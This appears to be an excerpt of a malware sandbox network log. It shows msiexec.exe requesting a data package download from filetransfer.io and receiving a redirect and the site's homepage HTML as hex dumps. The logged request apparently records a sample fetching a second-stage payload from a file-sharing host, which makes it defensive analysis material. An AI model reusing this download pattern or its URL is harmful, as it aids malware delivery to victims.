2025-01-10 19:14:46 UTC	429	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 Data Ascii: arset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:description"
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b Data Ascii: con-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><link
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e Data Ascii: <meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="website">
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 20 3d 20 22 Data Ascii: of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave = "
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e 74 72 79 2e Data Ascii: me.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sentry.
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 Data Ascii: to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 6e 65 72 43 6f 64 65 5f 5f 5f 5f 5f Data Ascii: ion class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__ownerCode_____
2025-01-10 19:14:46 UTC	1369	IN	Data Raw: 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e 3e 2e 0a 09 09 09 09 09 3c 61 20 68 Data Ascii: </div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span>.<a h
2025-01-10 19:14:46 UTC	64	IN	Data Raw: 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: lert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	57967	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:47 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:47 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:47 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:47 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M6te2dSCFa1mvnDxVq1fWexdhEcJ8QCyN1%2FXwpLMLJUzeKDm1Tj6XooyO7lpaKS1chw2%2FlPXttmgyeshV73dji0lKv5F6RFUrQJ7QpONTDAMwFpYNg1XIMhLcpcT%2FlnTpOE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdf85dcb0f84-EWR
2025-01-10 19:14:47 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	57969	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:48 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:48 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: dN9Pl3SKRbObhzeMysQ2/K2DD3WU9jtNJlmhAf26Xe/tZVn+QD+vo9ojNEXaDDShS0sHss4N7aw= x-amz-request-id: 6R7QXMT7886NRACH Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Yb7H3JD%2FK1ZfYKKg4AO5qcNpZNYthdlGSi33q7eolTWYOP8lzbrL2Fk2X%2BPKnUyYmTaQ1FDI19u3f30hYAEt0Izkv4%2FfhI1d4eNoByLoer55Ey0rycg6cQP4Fx8HojrWvg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdfdbc9b4246-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1698&rtt_var=650&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1666666&cwnd=231&unsent_bytes=0&cid=e4b3f426878396d4&ts=434&x=0"
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:48 UTC	1369	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 74 72 6f 22 20 64 61 74 61 2d 6d 61 78 2d 75 70 6c 6f 61 64 2d 62 79 74 65 73 3d 22 36 34 34 32 34 35 30 39 34 34 22 3e 0a 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 2d 77 72 61 70 70 65 72 2d 6c 61 72 67 65 20 68 69 64 64 65 6e 22 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 69 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 21 2d 2d 20 2e 73 70 69 6e 6e 65 72 20 2d 2d 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 09 09 3c 68 31 3e 0a 09 09 09 09 09 09 53 69 6d 70 6c 65 20 61 6e 64 20 72 65 6c 69 61 62 6c 65 20 66 69 6c 65 26 6e 62 73 70 3b 74 72 61 6e 73 66 65 72 73 0a 09 09 09 09 09 09 3c 2f 68 31 3e 0a 0a 0a 09 09 09 09 09 3c 70 3e 0a 09 Data Ascii: div class="intro" data-max-upload-bytes="6442450944"><div class="spinner-wrapper-large hidden"><div class="spinner"></div>... .spinner --></div><h1>Simple and reliable file transfers</h1><p>
